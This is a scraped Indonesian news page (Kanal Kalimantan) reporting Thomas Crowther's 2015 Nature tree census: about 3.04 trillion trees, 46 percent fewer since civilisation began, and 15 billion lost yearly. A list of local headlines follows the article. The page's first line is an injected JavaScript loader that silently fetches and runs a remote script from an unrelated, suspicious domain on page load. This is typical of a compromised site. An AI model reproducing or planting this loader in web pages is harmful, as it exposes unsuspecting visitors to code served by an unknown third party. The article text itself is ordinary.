(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kanal

Hilang 15 Miliar per Tahun, Pohon di Bumi Kini Tinggal 54 Persen!


Diperkirakan, saat ini jumlah seluruh pohon yang ada di bumi mencapai 3 triliun. Namun jumlah tersebut telah berkurang 46 persen sejak munculnya peradaban manusia.

Sensus pohon ini dilakukan oleh satu tim peneliti, dengan menggunakan citra satelit, inventarisasi hutan dan teknologi untuk memetakan jumlah pohon per kilometer persegi.

“Pohon termasuk di antara organisme paling menonjol dan penting di Bumi, namun kita baru belakangan ini saja mulai memahami jangkauan global dan distribusinya,” kata penulis utama penelitian itu, Thomas Crowther, dari Fakultas Kehutanan dan Lingkungan Hidup Yale University.

Data tersebut sebagaimana dipublikasikan pada tahun 2015 lalu.

Crowther mengatakan ia terkejut karena sensus itu mendapati begitu banyak pohon. Hasil penelitian ini diterbitkan di jurnal Nature.

Menurut perkiraan sebelumnya, jumlah pohon mencapai 400 miliar batang, sementara penelitian Crowther mendapati jumlah pohon mencapai 3,04 triliun, atau rata-rata 422 pohon per orang.

Pohon sangat penting untuk menyimpan karbon, meningkatkan kualitas udara dan air, serta banyak hal lainnya yang membuat manusia bergantung pada pohon. Rusia, Skandinavia dan Amerika Utara di kawasan sub-Kutub Utara memiliki tingkat densitas atau kepadatan pohon yang tertinggi, sementara kawasan tropis memiliki jumlah pohon terbanyak, sekitar 43 persen jumlah pohon di dunia.

Manusia paling besar pengaruhnya dalam menentukan jumlah pohon di seluruh dunia, sebut Crowther, yang mengatakan bahwa densitas pohon turun drastis begitu populasi manusia bertambah. Deforestasi dan kegiatan manusia lainnya menyebabkan jumlah pohon berkurang 15 miliar setiap tahun.

“Kita telah mengurangi hampir separuh jumlah pohon di bumi, dan kita telah melihat dampaknya pada iklim dan kesehatan manusia,” ujar Crowther.

“Penelitian ini menyoroti seberapa besar upaya yang diperlukan jika kita ingin memulihkan areal hutan di seluruh dunia ke tingkat yang baik.” (cel/voanews)


Desy Arfianty

Recent Posts

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

20 menit ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

36 menit ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

1 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

3 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

3 jam ago

Pabrik Sepatu Bata Tutup, Simpan Kenangan Haru Soekarno dan Megawati Soekarnoputri

KANALKALIMANTAN.COM, - Kabar menyedihkan datang dari salah satu perusahaan sepatu bersejarah di Indonesia yakni Bata.… Read More

3 jam ago

This website uses cookies.